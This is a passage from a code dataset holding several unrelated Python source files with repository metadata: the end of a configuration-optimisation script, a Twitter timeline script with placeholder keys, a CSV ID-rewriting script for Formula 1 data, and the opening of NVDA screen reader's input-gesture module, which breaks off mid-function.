DecisionTreeRegressor()\n\tcart_model.fit(train_features, train_perfs)\n\tpredicted = cart_model.predict(test_features)\n\n\tpredicted_id = [[i,p] for i,p in enumerate(predicted)] \n\tpredicted_sorted = sorted(predicted_id, key=lambda x: x[-1]) # sort test_set by predicted performance\n\n\treturn test_set[predicted_sorted[0][0]] # the optimal configuration\n\n\n\ndef split_data_by_fraction(csv_file, fraction):\n\t\"\"\"\n\tsplit data set and return the 80% data\n\t\"\"\"\n\t# step1: read from csv file\n\tpdcontent = pd.read_csv(csv_file) \n\tattr_list = pdcontent.columns # all feature list\n\n\t# step2: split attribute - method 1\n\tfeatures = [i for i in attr_list if \"$<\" not in i]\n\tperfs = [i for i in attr_list if \"$<\" in i]\n\tsortedcontent = pdcontent.sort_values(perfs[-1]) # from small to big\n\t# print(len(sortedcontent))\n\t# step3: collect configuration\n\tconfigs = list()\n\tfor c in range(len(pdcontent)):\n\t\tconfigs.append(config_node(c, # actual rank\n\t\t\t\t\t\t\t\t\tsortedcontent.iloc[c][features].tolist(), # feature list\n\t\t\t\t\t\t\t\t\tsortedcontent.iloc[c][perfs].tolist(), # performance list\n\t\t\t\t\t\t\t\t\tsortedcontent.iloc[c][perfs].tolist(), # predicted performance list\n\t\t\t))\n\n\t# for config in configs:\n\t# \tprint(config.index, \"-\", config.perfs, \"-\", config.predicted, \"-\", config.rank)\n\n\t# step4: data split\n\t# fraction = 0.4 # split fraction \n\t# rd.seed(seed) # random seed\n\trd.shuffle(configs) # shuffle the configs\n\tindexes = range(len(configs))\n\ttrain_index = indexes[:int(fraction*len(configs))]\n\tdataset = [configs[i] for i in train_index]\n\t# print(len(dataset))\n\treturn dataset\n\n\ndef predict_by_flash(dataset, size=30, budget=50):\n\t\"\"\"\n\tuse the budget in dataset to train a best model,\n\treturn the train_set and unevaluated_set\n\t\"\"\"\n\t#initilize the train set with 30 configurations\n\trd.shuffle(dataset)\n\ttrain_set = dataset[:size]\n\tunevaluated_set = dataset\n\n\tfor config in train_set:\n\t\tunevaluated_set = remove_by_index(unevaluated_set, config.index) # remove train_set\n\n\twhile budget >= 0: # budget equals to 50\n\t\t\n\t\toptimal_config = predict_by_cart(train_set, unevaluated_set)\n\n\t\t# print(\"[add]:\", optimal_config.index)\n\t\t\n\t\tunevaluated_set = remove_by_index(unevaluated_set, optimal_config.index)\n\t\t\n\t\ttrain_set.append(optimal_config)\n\t\t\n\t\tbudget = budget - 1\n\n\treturn [train_set, unevaluated_set]\n\nif __name__ == \"__main__\":\n\n\t#######################################################################################\n\n\t# select 80% data\n\tdataset = split_data_by_fraction(\"data/Apache_AllMeasurements.csv\", 0.8)\n\tprint(\"### initialzation\")\n\tfor i in dataset:\n\t\tprint(str(i.index), \",\", end=\"\")\n\tprint(\"\\n-------------\")\n\tdata = predict_by_flash(dataset)\n\n\tprint(\"### finally split\")\n\ttrain_set = data[0]\n\tuneval_set = data[1]\n\tfor i in train_set:\n\t\tprint(str(i.index), \",\", end=\"\")\n\tprint(\"\\n-------------\")\n\tfor i in uneval_set:\n\t\tprint(str(i.index), \",\", end=\"\")\n\tprint(\"\\n-------------\")\n\n\t#######################################################################################\n\n\tlowest_rank = find_lowest_rank(train_set, uneval_set)\n\n\tprint(lowest_rank)\n\n","repo_name":"Gu-Youngfeng/Config-Optimization","sub_path":"Flash.py","file_name":"Flash.py","file_ext":"py","file_size_in_byte":5773,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"6812680991","text":"#!/usr/bin/env python3\n\nimport twitter\n\napi = twitter.Api(consumer_key='xxxxxxxxxxxxxxxx',\n                  consumer_secret='xxxxxxxxxxxxxxxxxxxxxxxxxxxx',\n                  access_token_key='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',\n                  access_token_secret='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')\n\nresults = api.GetUserTimeline(screen_name=\"manutd\", count=5)\ntweets = [i.AsDict() for i in results]\nfor tweet in tweets:\n    print(tweet['id'], tweet['text'])\n","repo_name":"cshyam1892/Bots-And-Scripts","sub_path":"hunttweet.py","file_name":"hunttweet.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5683241281","text":"consRes= open(\"constructorResults.csv\",\"r\")\nlinhas = consRes.read()\nlinhas = linhas.split(\"\\n\")\ncabe=linhas[0]+\"\\n\"\nlinhas.remove(linhas[0])\n\nfor l in linhas:\n    if len(l)<2:\n        break\n    dados=l.split(\",\")\n    dados[0]=\"consResID\"+dados[0]\n    dados[1]=\"raceID\"+dados[1]\n    dados[2]=\"consID\"+dados[2]\n    linhaNova=\"\"\n    for d in dados:\n        linhaNova+=d+\",\"\n    \n    linhaNova=linhaNova[:-1]\n    cabe+=linhaNova+\"\\n\"\n\nwr= open(\"constructorResults.csv\", \"w\")\nwr.write(cabe)","repo_name":"Rupesa/f1nalisys_RDF","sub_path":"f1nalisys/python_scripts/refactorConsRes.py","file_name":"refactorConsRes.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14950509251","text":"# A part of NonVisual Desktop Access (NVDA)\r\n# This file is covered by the GNU General Public License.\r\n# See the file COPYING for more details.\r\n# Copyright (C) 2010-2023 NV Access Limited, Babbage B.V., Mozilla Corporation, Cyrille Bougot,\r\n# Leonard de Ruijter\r\n\r\n\"\"\"Core framework for handling input from the user.\r\nEvery piece of input from the user (e.g. a key press) is represented by an L{InputGesture}.\r\nThe singleton L{InputManager} (L{manager}) manages functionality related to input from the user.\r\nFor example, it is used to execute gestures and handle input help.\r\n\"\"\"\r\n\r\nimport sys\r\nimport os\r\nimport weakref\r\nimport time\r\nfrom typing import (\r\n\tAny,\r\n\tDict,\r\n\tGenerator,\r\n\tList,\r\n\tOptional,\r\n\tTuple,\r\n\tTypeVar,\r\n\tUnion,\r\n)\r\nfrom gui import blockAction\r\nimport configobj\r\nfrom speech import sayAll\r\nimport baseObject\r\nimport scriptHandler\r\nimport queueHandler\r\nimport api\r\nimport speech\r\nimport characterProcessing\r\nimport config\r\nfrom fileUtils import FaultTolerantFile\r\nimport watchdog\r\nfrom logHandler import log\r\nimport globalVars\r\nimport languageHandler\r\nimport controlTypes\r\nimport winKernel\r\nimport extensionPoints\r\nfrom NVDAState import WritePaths\r\n\r\n\r\nInputGestureBindingClassT = TypeVar(\"InputGestureBindingClassT\")\r\nScriptNameT = str\r\nInputGestureScriptT = Tuple[InputGestureBindingClassT, Optional[ScriptNameT]]\r\n\"\"\"\r\nThe Python class and script name for each script;\r\nthe script name may be C{None} indicating that the gesture should be unbound for this class.\r\n\"\"\"\r\n\r\n#: Script category for emulated keyboard keys.\r\n# Translators: The name of a category of NVDA commands.\r\nSCRCAT_KBEMU = _(\"Emulated system keyboard keys\")\r\n#: Script category for miscellaneous commands.\r\n# Translators: The name of a category of NVDA commands.\r\nSCRCAT_MISC = _(\"Miscellaneous\")\r\n#: Script category for Browse Mode  commands.\r\n# Translators: The name of a category of NVDA commands.\r\nSCRCAT_BROWSEMODE = _(\"Browse mode\")\r\n\r\nclass NoInputGestureAction(LookupError):\r\n\t\"\"\"Informs that there is no action to execute for a gesture.\r\n\t\"\"\"\r\n\r\nclass InputGesture(baseObject.AutoPropertyObject):\r\n\t\"\"\"A single gesture of input from the user.\r\n\tFor example, this could be a key press on a keyboard or Braille display or a click of the mouse.\r\n\tAt the very least, subclasses must implement L{_get_identifiers}.\r\n\t\"\"\"\r\n\tcachePropertiesByDefault = True\r\n\r\n\t#: indicates that sayAll was running before this gesture\r\n\t#: @type: bool\r\n\twasInSayAll=False\r\n\r\n\t#: Indicates that while in Input Help Mode, this gesture should be handled as if Input Help mode was currently off.\r\n\t#: @type: bool\r\n\tbypassInputHelp=False\r\n\r\n\t#: Indicates that this gesture should be reported in Input help mode. This would only be false\r\n\t#: for flooding Gestures like touch screen hovers.\r\n\t#: @type: bool\r\n\treportInInputHelp=True\r\n\r\n\t#: Indicates whether executing this gesture should explicitly prevent the system from being idle.\r\n\t#: For example, the system is unaware of C{BrailleDisplayGesture} execution,\r\n\t#: and might even get into sleep mode when reading a long portion of text in braille.\r\n\t#: In contrast, the system is aware of C{KeyboardInputGesture} execution itself.\r\n\tshouldPreventSystemIdle: bool = False\r\n\r\n\t# typing information for auto property _get_identifiers\r\n\tidentifiers: Union[List[str], Tuple[str, ...]]\r\n\r\n\t_abstract_identifiers = True\r\n\tdef _get_identifiers(self):\r\n\t\t\"\"\"The identifier(s) which will be used in input gesture maps to represent this gesture.\r\n\t\tThese identifiers will be normalized and looked up in order until a match is found.\r\n\t\tA single identifier should take the form: C{source:id}\r\n\t\twhere C{source} is a few characters representing the source of this gesture\r\n\t\tand C{id} is the specific gesture.\r\n\t\tAn example identifier is: C{kb(desktop):NVDA+1}\r\n\r\n\t\tThis property should not perform normalization itself.\r\n\t\tHowever, please note the following regarding normalization.\r\n\t\tIf C{id} contains multiple chunks separated by a + sign, they are considered to be ordered arbitrarily\r\n\t\tand may be reordered when normalized.\r\n\t\tNormalization also ensures that the entire identifier is lower case.\r\n\t\tFor example, NVDA+control+f1 and control+nvda+f1 will match when normalized.\r\n\t\tSee L{normalizeGestureIdentifier} for more details.\r\n\r\n\t\tSubclasses must implement this method.\r\n\t\t@return: One or more identifiers which uniquely identify this gesture.\r\n\t\t@rtype: list or tuple of str\r\n\t\t\"\"\"\r\n\t\traise NotImplementedError\r\n\r\n\t# type information for auto property _get_normalizedIdentifiers\r\n\tnormalizedIdentifiers: List[str]\r\n\r\n\tdef _get_normalizedIdentifiers(self):\r\n\t\t\"\"\"The normalized identifier(s) for this gesture.\r\n\t\tThis just normalizes the identifiers returned in L{identifiers}\r\n\t\tby calling L{normalizeGestureIdentifier} for each identifier.\r\n\t\tThese normalized identifiers can be directly looked up in input gesture maps.\r\n\t\tSubclasses should not override this method.\r\n\t\t@return: One or more normalized identifiers which uniquely identify this gesture.\r\n\t\t@rtype: list of str\r\n\t\t\"\"\"\r\n\t\treturn [normalizeGestureIdentifier(identifier) for identifier in self.identifiers]\r\n\r\n\t# type information for auto property _get_displayName\r\n\tdisplayName: str\r\n\r\n\tdef _get_displayName(self):\r\n\t\t\"\"\"The name of this gesture as presented to the user.\r\n\t\tThe base implementation calls L{getDisplayTextForIdentifier} for the first identifier.\r\n\t\tSubclasses need not override this unless they wish to provide a more optimal implementation.\r\n\t\t@return: The display name.\r\n\t\t@rtype: str\r\n\t\t\"\"\"\r\n\t\treturn self.getDisplayTextForIdentifier(self.normalizedIdentifiers[0])[1]\r\n\r\n\t#: Whether this gesture should be reported when reporting of command gestures is enabled.\r\n\t#: @type: bool\r\n\tshouldReportAsCommand = True\r\n\r\n\t#: whether this gesture represents a character being typed (i.e. not a potential command)\r\n\t#: @type bool\r\n\tisCharacter=False\r\n\r\n\tSPEECHEFFECT_CANCEL = \"cancel\"\r\n\tSPEECHEFFECT_PAUSE = \"pause\"\r\n\tSPEECHEFFECT_RESUME = \"resume\"\r\n\t#: The effect on speech when this gesture is executed; one of the SPEECHEFFECT_* constants or C{None}.\r\n\tspeechEffectWhenExecuted = SPEECHEFFECT_CANCEL\r\n\r\n\t#: Whether this gesture is only a modifier, in which case it will not search for a script to execute.\r\n\t#: @type: bool\r\n\tisModifier = False\r\n\r\n\tdef reportExtra(self):\r\n\t\t\"\"\"Report any extra information about this gesture to the user.\r\n\t\tThis is called just after command gestures are reported.\r\n\t\tFor example, it could be used to report toggle states.\r\n\t\t\"\"\"\r\n\r\n\tdef _get_script(self):\r\n\t\t\"\"\"The script bound to this input gesture.\r\n\t\t@return: The script to be executed.\r\n\t\t@rtype: script function\r\n\t\t\"\"\"\r\n\t\tself.script=scriptHandler.findScript(self)\r\n\t\treturn self.script\r\n\r\n\tdef send(self):\r\n\t\t\"\"\"Send this gesture to the operating system.\r\n\t\tThis is not possible for all sources.\r\n\t\t@raise NotImplementedError: If the source does not support sending of gestures.\r\n\t\t\"\"\"\r\n\t\traise NotImplementedError\r\n\r\n\t#: typing information for autoproperty _get_scriptableObject\r\n\tscriptableObject: Optional[baseObject.ScriptableObject]\r\n\r\n\tdef _get_scriptableObject(self) -> Optional[baseObject.ScriptableObject]:\r\n\t\t\"\"\"An object which contains scripts specific to this  gesture or type of gesture.\r\n\t\tThis object will be searched for scripts before any other object when handling this gesture.\r\n\t\t@return: The gesture specific scriptable object or C{None} if there is none.\r\n\t\t\"\"\"\r\n\t\treturn None\r\n\r\n\t@classmethod\r\n\tdef getDisplayTextForIdentifier(cls, identifier):\r\n\t\t\"\"\"Get the text to be presented to the user describing a given gesture identifier.\r\n\t\tThis should only be called with normalized gesture identifiers returned by the\r\n\t\tL{normalizedIdentifiers} property in the same subclass.\r\n\t\tFor example, C{KeyboardInputGesture.getDisplayTextForIdentifier} should only be called\r\n\t\tfor \"kb:*\" identifiers returned by C{KeyboardInputGesture.normalizedIdentifiers}.\r\n\t\tMost callers will want L{inputCore.getDisplayTextForIdentifier} instead.\r\n\t\tThe display text consists of two strings:\r\n\t\tthe gesture's source (e.g. \"laptop keyboard\")\r\n\t\tand the specific gesture (e.g. \"alt+tab\").\r\n\t\t@param identifier: The normalized gesture identifier in question.\r\n\t\t@type identifier: str\r\n\t\t@return: A tuple of (source, specificGesture).\r\n\t\t@rtype: tuple of (str, str)\r\n\t\t@raise Exception: If no display text can be determined.\r\n\t\t\"\"\"\r\n\t\traise NotImplementedError\r\n\r\n\tdef executeScript(self, script):\r\n\t\t\"\"\"\r\n\t\tExecutes the given script with this gesture, using scriptHandler.executeScript.\r\n\t\tThis is only implemented so as to allow Gesture subclasses\r\n\t\tto perform an action directly before / after the script executes.\r\n\t\t\"\"\"\r\n\t\treturn scriptHandler.executeScript(script, self)\r\n\r\n\r\nFlattenedGestureMapT = Dict[\r\n\tstr,  # moduleName.className\r\n\tDict[\r\n\t\tOptional[ScriptNameT],  # Script name\r\n\t\tOptional[Union[str, List[str]]],  # Normalized gestures\r\n\t],\r\n]\r\n_InternalGestureMapT = Dict[\r\n\tstr,  # Normalized gesture\r\n\tList[\r\n\t\tTuple[\r\n\t\t\tstr,  # module\r\n\t\t\tstr,  # class name\r\n\t\t\tOptional[ScriptNameT],  # script\r\n\t\t],\r\n\t],\r\n]\r\n\r\n\r\nclass GlobalGestureMap:\r\n\t\"\"\"Maps gestures to scripts anywhere in NVDA.\r\n\tThis is used to allow users and locales to bind gestures in addition to those bound by\r\n\tindividual scriptable objects.\r\n\tMap entries will most often be loaded from a file using the L{load} method.\r\n\tSee that method for details of the file format.\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, entries: Optional[FlattenedGestureMapT] = None):\r\n\t\t\"\"\"Constructor.\r\n\t\t@param entries: Initial entries to add; see L{update} for the format.\r\n\t\t\"\"\"\r\n\t\tself._map: _InternalGestureMapT = {}\r\n\t\t#: Indicates that the last load or update contained an error.\r\n\t\tself.lastUpdateContainedError: bool = False\r\n\t\t#: The file name for this gesture map, if any.\r\n\t\tself.fileName: Optional[str] = None\r\n\t\tif entries:\r\n\t\t\tself.update(entries)\r\n\r\n\tdef clear(self):\r\n\t\t\"\"\"Clear this map.\r\n\t\t\"\"\"\r\n\t\tself._map.clear()\r\n\t\tself.lastUpdateContainedError = False\r\n\r\n\tdef add(\r\n\t\t\tself,\r\n\t\t\tgesture: str,\r\n\t\t\tmodule: str,\r\n\t\t\tclassName: str,\r\n\t\t\tscript: Optional[ScriptNameT],\r\n\t\t\treplace: bool = False\r\n\t):\r\n\t\t\"\"\"Add a gesture mapping.\r\n\t\t@param gesture: The gesture identifier.\r\n\t\t@param module: The name of the Python module containing the target script.\r\n\t\t@param className: The name of the class in L{module} containing the target script.\r\n\t\t@param script: The name of the target script\r\n\t\t\tor C{None} to unbind the gesture for this class.\r\n\t\t@param replace: if true replaces all existing bindings for this gesture with the given script,\r\n\t\t\totherwise only appends this binding.\r\n\t\t\"\"\"\r\n\t\tgesture = normalizeGestureIdentifier(gesture)\r\n\t\ttry:\r\n\t\t\tscripts = self._map[gesture]\r\n\t\texcept KeyError:\r\n\t\t\tscripts = self._map[gesture] = []\r\n\t\tif replace:\r\n\t\t\tdel scripts[:]\r\n\t\tscripts.append((module, className, script))\r\n\r\n\tdef load(self, filename: str):\r\n\t\t\"\"\"Load map entries from a file.\r\n\t\tThe file is an ini file.\r\n\t\tEach section contains entries for a particular scriptable object class.\r\n\t\tThe section name must be the full Python module and class name.\r\n\t\tThe key of each entry is the script name and the value is a comma separated list of one or more gestures.\r\n\t\tIf the script name is \"None\", the gesture will be unbound for this class.\r\n\t\tFor example, the following binds the \"a\" key to move to the next heading in virtual buffers\r\n\t\tand removes the default \"h\" binding::\r\n\t\t\t[virtualBuffers.VirtualBuffer]\r\n\t\t\tnextHeading = kb:a\r\n\t\t\tNone = kb:h\r\n\t\t@param filename: The name of the file to load.\r\n\t\t\"\"\"\r\n\t\tself.fileName = filename\r\n\t\ttry:\r\n\t\t\tconf = configobj.ConfigObj(filename, file_error=True, encoding=\"UTF-8\")\r\n\t\texcept (configobj.ConfigObjError, UnicodeDecodeError) as e:\r\n\t\t\tlog.warning(\"Error in gesture map '%s': %s\"%(filename, e))\r\n\t\t\tself.lastUpdateContainedError = True\r\n\t\t\treturn\r\n\t\tself.update(conf)\r\n\r\n\tdef update(self, entries: FlattenedGestureMapT):\r\n\t\t\"\"\"Add multiple map entries.\r\n\t\tC{entries} must be a mapping of mappings.\r\n\t\tEach inner mapping contains entries for a particular scriptable object class.\r\n\t\tThe key in the outer mapping must be the full Python module and class name.\r\n\t\tThe key of each entry in the inner mappings is the script name\r\n\t\tand the value is one gesture string or a list of one or more gesture strings.\r\n\t\tIf the script name is C{None}, the gesture will be unbound for this class.\r\n\t\tFor example, the following binds the \"a\" key to move to the next heading in virtual buffers\r\n\t\tand removes the default \"h\" binding:\r\n\t\t\t{\r\n\t\t\t\t\"virtualBuffers.VirtualBuffer\": {\r\n\t\t\t\t\t\"nextHeading\": \"kb:a\",\r\n\t\t\t\t\tNone: \"kb:h\",\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t@param entries: The items to add.\r\n\t\t\"\"\"\r\n\t\tself.lastUpdateContainedError = False\r\n\t\tfor locationName, location in entries.items():\r\n\t\t\ttry:\r\n\t\t\t\tmodule, className = locationName.rsplit(\".\", 1)\r\n\t\t\texcept:\r\n\t\t\t\tlog.error(\"Invalid module/class specification: %s\" % locationName)\r\n\t\t\t\tself.lastUpdateContainedError = True\r\n\t\t\t\tcontinue\r\n\t\t\tfor script, gestures in location.items():\r\n\t\t\t\tif script == \"None\":\r\n\t\t\t\t\tscript = None\r\n\t\t\t\tif gestures in (\"\", None):\r\n\t\t\t\t\tgestures = ()\r\n\t\t\t\telif isinstance(gestures, str):\r\n\t\t\t\t\tgestures = [gestures]\r\n\t\t\t\tfor gesture in gestures:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tself.add(gesture, module, className, script)\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tlog.error(\"Invalid gesture: %s\" % gesture)\r\n\t\t\t\t\t\tself.lastUpdateContainedError = True\r\n\t\t\t\t\t\tcontinue\r\n\r\n\tdef getScriptsForGesture(self, gesture: str) -> Generator[InputGestureScriptT, None, None]:\r\n\t\t\"\"\"Get the scripts associated with a particular gesture.\r\n\t\t@param gesture: The gesture identifier.\r\n\t\t@return: The Python class and script name for each script;\r\n\t\t\tthe script name may be C{None} indicating that the gesture should be unbound for this class.\r\n\t\t\"\"\"\r\n\t\ttry:\r\n\t\t\tscripts = self._map[gesture]\r\n\t\texcept KeyError:\r\n\t\t\treturn\r\n\t\tfor moduleName, className, scriptName in scripts:\r\n\t\t\ttry:\r\n\t\t\t\tmodule = sys.modules[moduleName]\r\n\t\t\texcept KeyError:\r\n\t\t\t\tcontinue\r\n\t\t\ttry:\r\n\t\t\t\tcls = getattr(module, className)\r\n\t\t\texcept AttributeError:\r\n\t\t\t\tcontinue\r\n\t\t\tyield cls, scriptName\r\n\r\n\tdef getScriptsForAllGestures(self):\r\n\t\t\"\"\"Get all of the scripts and their gestures.\r\n\t\t@return: The Python class, gesture and script name for each mapping;\r\n\t\t\tthe script name may be C{None} indicating that the gesture should be unbound for this class.\r\n\t\t@rtype: generator of (class, str, str)\r\n\t\t\"\"\"\r\n\t\tfor gesture in self._map:\r\n\t\t\tfor cls, scriptName in self.getScriptsForGesture(gesture):\r\n\t\t\t\tyield cls, gesture, scriptName\r\n\r\n\tdef remove(self, gesture: str, module: str, className: str, script: ScriptNameT):\r\n\t\t\"\"\"Remove a gesture mapping.\r\n\t\t@param gesture: The gesture identifier.\r\n\t\t@param module: The name of the Python module containing the target script.\r\n\t\t@param className: The name of the class in L{module} containing the target script.\r\n\t\t@param script: The name of the target script.\r\n\t\t@raise ValueError: If the requested mapping does not exist.\r\n\t\t\"\"\"\r\n\t\tgesture = normalizeGestureIdentifier(gesture)\r\n\t\ttry:\r\n\t\t\tscripts = self._map[gesture]\r\n\t\texcept KeyError:\r\n\t\t\traise ValueError(\"Mapping not found\")\r\n\t\tscripts.remove((module, className, script))\r\n\r\n\tdef export(self) -> FlattenedGestureMapT:\r\n\t\t\"\"\"Exports this gesture map to a dictionary that can be saved to disk or imported into another gesture map.\r\n\t\t\"\"\"\r\n\t\tout: FlattenedGestureMapT = {}\r\n\t\tfor gesture, scripts in self._map.items():\r\n\t\t\tfor module, className, script in scripts:\r\n\t\t\t\tkey = f\"{module}.{className}\"\r\n\t\t\t\ttry:\r\n\t\t\t\t\toutSect = out[key]\r\n\t\t\t\texcept KeyError:\r\n\t\t\t\t\tout[key] = {}\r\n\t\t\t\t\toutSect = out[key]\r\n\t\t\t\tif script is None:\r\n\t\t\t\t\tscript = \"None\"\r\n\t\t\t\ttry:\r\n\t\t\t\t\toutVal = outSect[script]\r\n\t\t\t\texcept KeyError:\r\n\t\t\t\t\t# Write the first value as a string so configobj doesn't output a comma if there's only one value.\r\n\t\t\t\t\toutVal = outSect[script] = gesture\r\n\t\t\t\telse:\r\n\t\t\t\t\tif isinstance(outVal, list):\r\n\t\t\t\t\t\toutVal.append(gesture)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\toutSect[script] = [outVal, gesture]\r\n\t\treturn out\r\n\r\n\t@blockAction.when(blockAction.Context.SECURE_MODE)\r\n\tdef save(self):\r\n\t\t\"\"\"Save this gesture map to disk.\r\n\t\t@precondition: L{load} must have been called.\r\n\t\t\"\"\"\r\n\t\tif not self.fileName:\r\n\t\t\traise ValueError(\"No file name\")\r\n\t\tout = configobj.ConfigObj(self.export(), encoding=\"UTF-8\")\r\n\t\tout.filename = self.fileName\r\n\r\n\t\twith FaultTolerantFile(out.filename) as f:\r\n\t\t\tout.write(f)\r\n\r\n\tdef __eq__(self, other: Any) -> bool:\r\n\t\tif isinstance(other, GlobalGestureMap):\r\n\t\t\treturn self._map == other._map\r\n\t\treturn NotImplemented\r\n\r\n\r\ndecide_executeGesture = extensionPoints.Decider()\r\n\"\"\"\r\nNotifies when a gesture is about to be executed,\r\nand allows components or add-ons to decide whether or not to execute a gesture.\r\nFor example, when controlling a remote system with a connected local braille display,\r\nbraille display gestures should not be executed locally.\r\nHandlers are called with one argument:\r\n@param gesture: The gesture that is about to be executed.\r\n@type gesture: L{InputGesture}\r\n\"\"\"\r\n\r\n\r\nclass InputManager(baseObject.AutoPropertyObject):\r\n\t\"\"\"Manages functionality related to input from the user.\r\n\tInput includes key presses on the keyboard, as well as key presses on Braille displays, etc.\r\n\t\"\"\"\r\n\r\n\t#: a modifier gesture was just executed while sayAll was running\r\n\t#: @type: bool\r\n\tlastModifierWasInSayAll=False\r\n\r\n\tdef __init__(self):\r\n\t\t#: The function to call when capturing gestures.\r\n\t\t#: If it returns C{False}, normal execution will be prevented.\r\n\t\t#: @type: callable\r\n\t\tself._captureFunc = None\r\n\t\t#: The gestures mapped for the NVDA locale.\r\n\t\t#: @type: L{GlobalGestureMap}\r\n\t\tself.localeGestureMap = GlobalGestureMap()\r\n\t\t#: The gestures mapped by the user.\r\n\t\t#: @type: L{GlobalGestureMap}\r\n\t\tself.userGestureMap = GlobalGestureMap()\r\n\t\tself.loadLocaleGestureMap()\r\n\t\tself.loadUserGestureMap()\r\n\t\tself._lastInputTime = None\r\n\r\n\tdef executeGesture(self, gesture):\r\n\t\t\"\"\"Perform the action associated with a gesture.\r\n\t\t@param gesture: The gesture to execute.\r\n\t\t@type gesture: L{InputGesture}\r\n\t\t@raise NoInputGestureAction: If there is no action to perform.\r\n\t\t\"\"\"\r\n\t\tif watchdog.isAttemptingRecovery:\r\n\t\t\t# The core is dead, so don't try to perform an action.\r\n\t\t\t# This lets gestures pass through unhindered where possible,\r\n\t\t\t# as well as stopping a flood of actions when the core revives.\r\n\t\t\traise NoInputGestureAction\r\n\r\n\t\tif not decide_executeGesture.decide(gesture=gesture):\r\n\t\t\t# A registered handler decided that this gesture shouldn't be executed.\r\n\t\t\t# Purposely do not raise a NoInputGestureAction here, as that could\r\n\t\t\t# lead to unexpected behavior for gesture emulation, i.e. the gesture will be send to the system\r\n\t\t\t# when the decider decided not to execute it.\r\n\t\t\tlog.debug(\r\n\t\t\t\t\"Gesture execution canceled by handler registered to decide_executeGesture extension point\"\r\n\t\t\t)\r\n\t\t\treturn\r\n\r\n\t\tscript = gesture.script\r\n\t\tfocus = api.getFocusObject()\r\n\t\tif focus.sleepMode is focus.SLEEP_FULL or (focus.sleepMode and not getattr(script, 'allowInSleepMode', False)):\r\n\t\t\traise NoInputGestureAction\r\n\r\n\t\twasInSayAll=False\r\n\t\tif gesture.isModifier:\r\n\t\t\tif not self.lastModifierWasInSayAll:\r\n\t\t\t\twasInSayAll = self.lastModifierWasInSayAll = sayAll.SayAllHandler.isRunning()\r\n\t\telif self.lastModifierWasInSayAll:\r\n\t\t\twasInSayAll=True\r\n\t\t\tself.lastModifierWasInSayAll=False\r\n\t\telse:\r\n\t\t\twasInSayAll = sayAll.SayAllHandler.isRunning()\r\n\t\tif wasInSayAll:\r\n\t\t\tgesture.wasInSayAll=True\r\n\r\n\t\timmediate = getattr(gesture, \"_immediate\", True)\r\n\t\tspeechEffect = gesture.speechEffectWhenExecuted\r\n\t\tif speechEffect == gesture.SPEECHEFFECT_CANCEL:\r\n\t\t\tqueueHandler.queueFunction(queueHandler.eventQueue, speech.cancelSpeech, _immediate=immediate)\r\n\t\telif speechEffect in (gesture.SPEECHEFFECT_PAUSE, gesture.SPEECHEFFECT_RESUME):\r\n\t\t\tqueueHandler.queueFunction(queueHandler.eventQueue, speech.pauseSpeech, speechEffect == gesture.SPEECHEFFECT_PAUSE)\r\n\r\n\t\tif gesture.shouldPreventSystemIdle:\r\n\t\t\twinKernel.SetThreadExecutionState(winKernel.ES_SYSTEM_REQUIRED)\r\n\r\n\t\tif log.isEnabledFor(log.IO) and not gesture.isModifier:\r\n\t\t\tself._lastInputTime = time.time()\r\n\t\t\tlog.io(\"Input: %s\" % gesture.identifiers[0])\r\n\r\n\t\tif self._captureFunc:\r\n\t\t\ttry:\r\n\t\t\t\tif self._captureFunc(gesture) is False:\r\n\t\t\t\t\treturn\r\n\t\t\texcept:\r\n\t\t\t\tlog.error(\"Error in capture function, disabling\", exc_info=True)\r\n\t\t\t\tself._captureFunc = None\r\n\r\n\t\tif gesture.isModifier:\r\n\t\t\traise NoInputGestureAction\r\n\r\n\t\tif config.conf[\"keyboard\"][\"speakCommandKeys\"] and gesture.shouldReportAsCommand:\r\n\t\t\tqueueHandler.queueFunction(\r\n\t\t\t\tqueueHandler.eventQueue,\r\n\t\t\t\tspeech.speakMessage,\r\n\t\t\t\tgesture.displayName,\r\n\t\t\t\t_immediate=True\r\n\t\t\t)\r\n\r\n\t\tgesture.reportExtra()\r\n\r\n\t\t# #2953: if an intercepted command Script (script that sends a gesture) is queued\r\n\t\t# then queue all following gestures (that don't have a script) with a fake script so that they remain in order.\r\n\t\tif not script and scriptHandler._numIncompleteInterceptedCommandScripts:\r\n\t\t\tscript=lambda gesture: gesture.send()\r\n\r\n\r\n\t\tif script:\r\n\t\t\tscriptHandler.queueScript(script, gesture)\r\n\t\t\treturn\r\n\t\telse:\r\n\t\t\t# Clear memorized last script to avoid getLastScriptRepeatCount detect a repeat\r\n\t\t\t# in case an unbound gesture is executed between two identical bound gestures.\r\n\t\t\tqueueHandler.queueFunction(queueHandler.eventQueue, scriptHandler.clearLastScript)\r\n\t\t\traise NoInputGestureAction\r\n\r\n\tdef _get_isInputHelpActive(self):\r\n\t\t\"\"\"Whether input help is enabled, wherein the function of each key pressed by the user is reported but not executed.\r\n\t\t@rtype: bool\r\n\t\t\"\"\"\r\n\t\treturn self._captureFunc == self._inputHelpCaptor\r\n\r\n\tdef _set_isInputHelpActive(self, enable):\r\n\t\tif enable:\r\n\t\t\tself._captureFunc = self._inputHelpCaptor\r\n\t\telif self.isInputHelpActive:\r\n\t\t\tself._captureFunc = None\r\n\r\n\tdef _inputHelpCaptor(self, gesture):\r\n\t\tbypass = gesture.bypassInputHelp or getattr(gesture.script, \"bypassInputHelp\", False)\r\n\t\timmediate = getattr(gesture, \"_immediate\", True)\r\n\t\tqueueHandler.queueFunction(\r\n\t\t\tqueueHandler.eventQueue,\r\n\t\t\tself._handleInputHelp,\r\n\t\t\tgesture,\r\n\t\t\tonlyLog=bypass or not gesture.reportInInputHelp,\r\n\t\t\t_immediate=immediate\r\n\t\t)\r\n\t\treturn bypass\r\n\r\n\tdef _handleInputHelp(self, gesture, onlyLog=False):\r\n\t\ttextList = 